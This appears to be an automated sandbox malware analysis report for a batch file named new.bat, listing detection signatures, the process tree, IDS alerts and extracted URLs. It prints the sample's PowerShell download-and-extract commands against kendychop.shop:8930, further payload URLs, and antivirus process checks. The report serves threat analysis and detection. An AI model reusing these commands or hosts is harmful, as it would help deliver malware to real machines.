Edit tour

Windows Analysis Report
new.bat

Overview

General Information

Sample name:	new.bat
Analysis ID:	1555979
MD5:	7beab083b693d130619219e056fe9f10
SHA1:	653da09ccd0ae616a476ad1c49eab4e6e6569abd
SHA256:	3ba67ff051ccbe3e60a5e3299efc94b852b2edcad367e362eec201731b51b2fe
Tags:	batuser-pr0xylife
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Suricata IDS alerts for network traffic

AI detected suspicious sample

Infects executable files (exe, dll, sys, html)

Loading BitLocker PowerShell Module

Suspicious powershell command line found

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 6784 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 7024 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\DVWHKMNFNN.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2664 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

timeout.exe (PID: 7064 cmdline: timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)

tasklist.exe (PID: 2664 cmdline: tasklist /FI "IMAGENAME eq AvastUI.exe" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

AcroCEF.exe (PID: 7392 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1524,i,11779076742283100566,12679411521668981735,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

find.exe (PID: 2656 cmdline: find /i "AvastUI.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

tasklist.exe (PID: 736 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 5776 cmdline: find /i "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

powershell.exe (PID: 3328 cmdline: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:8930/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 1148 cmdline: powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 7200 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Sigma Signatures

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1148, TargetFilename: C:\Users\user\Downloads\Extracted\Python\Launcher\py.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:8930/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:8930/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6784, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:8930/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", ProcessId: 3328, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:8930/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:8930/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6784, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:8930/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", ProcessId: 3328, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:8930/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:8930/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6784, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:8930/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", ProcessId: 3328, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7200, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Suspected BPFDoor TCP Magic Packet (Inbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-14T18:24:26.889601+0100	2036752	1	A Network Trojan was detected	154.216.17.175	8930	192.168.2.4	49738	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://kendychop.shop:8930/bab.zipS

Avira URL Cloud: Label: phishing

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.3% probability

Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.set_trace">(pdb.Pdb method)</a> source: genindex-S.html.17.dr
Source:	Binary string: .pdbrc source: genindex-Symbols.html.17.dr
Source:	Binary string: <tr class="row-even"><td><p>pdb.Pdb</p></td> source: audit_events.html.17.dr
Source:	Binary string: <td><p><a class="reference internal" href="pdb.html#pdb.Pdb">[1]</a></p></td> source: audit_events.html.17.dr
Source:	Binary string: <li><p>The <a class="reference internal" href="../library/pdb.html#module-pdb" title="pdb: The Python debugger for interactive interpreters."><code class="xref py py-mod docutils literal notranslate"><span class="pre">pdb</span></code></a> module now reads the <code class="file docutils literal notranslate"><span class="pre">.pdbrc</span></code> configuration file with source: 3.11.html.17.dr
Source:	Binary string: (<a class="reference internal" href="pdb.html#pdb.Pdb" title="pdb.Pdb"><code class="xref py py-class docutils literal notranslate"><span class="pre">pdb.Pdb</span></code></a>) is an example.</p> source: bdb.html.17.dr

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

System file written: C:\Users\user\Downloads\Extracted\Python\Python312\Doc\html\c-api\tuple.html

Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2036752 - Severity 1 - ET MALWARE Suspected BPFDoor TCP Magic Packet (Inbound) : 154.216.17.175:8930 -> 192.168.2.4:49738

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 8930
Source: unknown	Network traffic detected: HTTP traffic on port 8930 -> 49738

Source: global traffic

TCP traffic: 192.168.2.4:49738 -> 154.216.17.175:8930

Source: Joe Sandbox View

ASN Name: SKHT-ASShenzhenKatherineHengTechnologyInformationCo SKHT-ASShenzhenKatherineHengTechnologyInformationCo

Source: global traffic

HTTP traffic detected: GET /bab.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kendychop.shop:8930Connection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /bab.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kendychop.shop:8930Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: kendychop.shop
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org

Source: codecs.py.17.dr	String found in binary or memory: http://bugs.python.org/issue19619
Source: svchost.exe, 0000000A.00000002.2957778158.00000224FE600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: transports.py.17.dr	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.kill
Source: transports.py.17.dr	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode
Source: transports.py.17.dr	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.terminate
Source: svchost.exe, 0000000A.00000003.1758748642.00000224FE408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 0000000A.00000003.1758748642.00000224FE408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: svchost.exe, 0000000A.00000003.1758748642.00000224FE408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: svchost.exe, 0000000A.00000003.1758748642.00000224FE408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 0000000A.00000003.1758748642.00000224FE408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 0000000A.00000003.1758748642.00000224FE408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 0000000A.00000003.1758748642.00000224FE43D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: xml.etree.elementtree.html.17.dr	String found in binary or memory: http://example.org/"
Source: svchost.exe, 0000000A.00000003.1758748642.00000224FE481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000008.00000002.2357945317.000002E7D4568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://kendychop.shop:8930
Source: powershell.exe, 00000008.00000002.2357687507.000002E7D26A4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2356989594.000002E7D2410000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2357856330.000002E7D3FF3000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2401058988.000002E7EC450000.00000004.00000020.00020000.00000000.sdmp, new.bat	String found in binary or memory: http://kendychop.shop:8930/FTSP.zip
Source: powershell.exe, 00000008.00000002.2401058988.000002E7EC450000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kendychop.shop:8930/FTSP.zip;E?
Source: powershell.exe, 00000008.00000002.2357687507.000002E7D26A4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2401846604.000002E7EC511000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2357856330.000002E7D3FF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kendychop.shop:8930/FTSP.zipHOMEDRIVE=C:HOMEPATH=
Source: powershell.exe, 00000008.00000002.2357945317.000002E7D4341000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2401058988.000002E7EC450000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2357687507.000002E7D26A0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2357945317.000002E7D4568000.00000004.00000800.00020000.00000000.sdmp, new.bat	String found in binary or memory: http://kendychop.shop:8930/bab.zip
Source: powershell.exe, 00000008.00000002.2356989594.000002E7D2410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kendychop.shop:8930/bab.zipS
Source: new.bat	String found in binary or memory: http://kendychop.shop:8930/cam.zip
Source: new.bat	String found in binary or memory: http://kendychop.shop:8930/startupppp.bat
Source: powershell.exe, 00000008.00000002.2397605740.000002E7E44F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2397605740.000002E7E43BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000008.00000002.2357945317.000002E7D4568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: req_file.cpython-312.pyc.17.dr	String found in binary or memory: http://pubs.opengroup.org/onlinepubs/9699919799/
Source: powershell.exe, 00000008.00000002.2357945317.000002E7D4341000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: logging-cookbook.html.17.dr	String found in binary or memory: http://supervisord.org/
Source: README.ctypes.17.dr	String found in binary or memory: http://svn.red-bean.com/bob/macholib/trunk/macholib/
Source: powershell.exe, 00000008.00000002.2357945317.000002E7D4568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: xml.sax.handler.html.17.dr	String found in binary or memory: http://xml.org/sax/features/external-general-entities"
Source: xml.sax.handler.html.17.dr	String found in binary or memory: http://xml.org/sax/features/external-parameter-entities"
Source: xml.sax.handler.html.17.dr	String found in binary or memory: http://xml.org/sax/features/namespace-prefixes"
Source: xml.sax.handler.html.17.dr	String found in binary or memory: http://xml.org/sax/features/namespaces"
Source: xml.sax.handler.html.17.dr	String found in binary or memory: http://xml.org/sax/features/string-interning"
Source: xml.sax.handler.html.17.dr	String found in binary or memory: http://xml.org/sax/features/validation"
Source: xml.sax.handler.html.17.dr	String found in binary or memory: http://xml.org/sax/properties/declaration-handler"
Source: xml.sax.handler.html.17.dr	String found in binary or memory: http://xml.org/sax/properties/dom-node"
Source: xml.sax.handler.html.17.dr	String found in binary or memory: http://xml.org/sax/properties/lexical-handler
Source: xml.sax.handler.html.17.dr	String found in binary or memory: http://xml.org/sax/properties/lexical-handler"
Source: xml.sax.handler.html.17.dr	String found in binary or memory: http://xml.org/sax/properties/xml-string"
Source: base64.py.17.dr	String found in binary or memory: http://zgp.org/pipermail/p2p-hackers/2001-September/000316.html
Source: powershell.exe, 00000008.00000002.2357945317.000002E7D4341000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: 3.8.html.17.dr	String found in binary or memory: https://ark.intel.com/content/www/us/en/ark/products/76088/intel-core-i7-4960hq-processor-6m-cache-u
Source: 3.8.html.17.dr	String found in binary or memory: https://blog.unicode.org/2019/05/unicode-12-1-en.html
Source: interactive.html.17.dr	String found in binary or memory: https://bpython-interpreter.org/
Source: pythread.h.17.dr	String found in binary or memory: https://bugs.python.org/issue31370
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://bugs.python.org/issue3770
Source: typeobj.html.17.dr	String found in binary or memory: https://bugs.python.org/issue40217
Source: pystate.h.17.dr	String found in binary or memory: https://bugs.python.org/issue45953#msg412046.
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1054041
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=10544
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1230540
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=13153
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=13611
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=15248
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1529353
Source: 3.1.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1580
Source: 3.1.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1696199
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=17239
Source: 3.1.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1739468
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=17535
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=17561
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=17611
Source: 3.1.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1818
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=18748
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=20092
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=20849
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=21145
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=2122
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=21536
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=22640
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23057
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23722
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23831
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23867
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=24412
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=2504
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25427
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25451
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26219
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26467
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26707
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26836
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26978
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27181
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=28238
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=29209
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=29235
Source: 3.1.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=2983
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=29883
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=30262
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=30661
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=30670
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=30688
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=30977
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=31508
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=31553
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=31680
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32102
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32117
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32285
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32314
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32380
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32388
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32417
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32430
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32489
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32492
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32528
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32718
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32749
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32751
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32892
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32941
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32972
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33041
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33073
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33083
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33089
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33106
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33234
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33407
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33416
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33462
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33499
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33530
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33597
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33671
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33695
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33710
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33721
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33725
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33818
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33897
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33899
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34003
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34075
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34160
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34270
Source: 3.1.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=3439
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34616
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34632
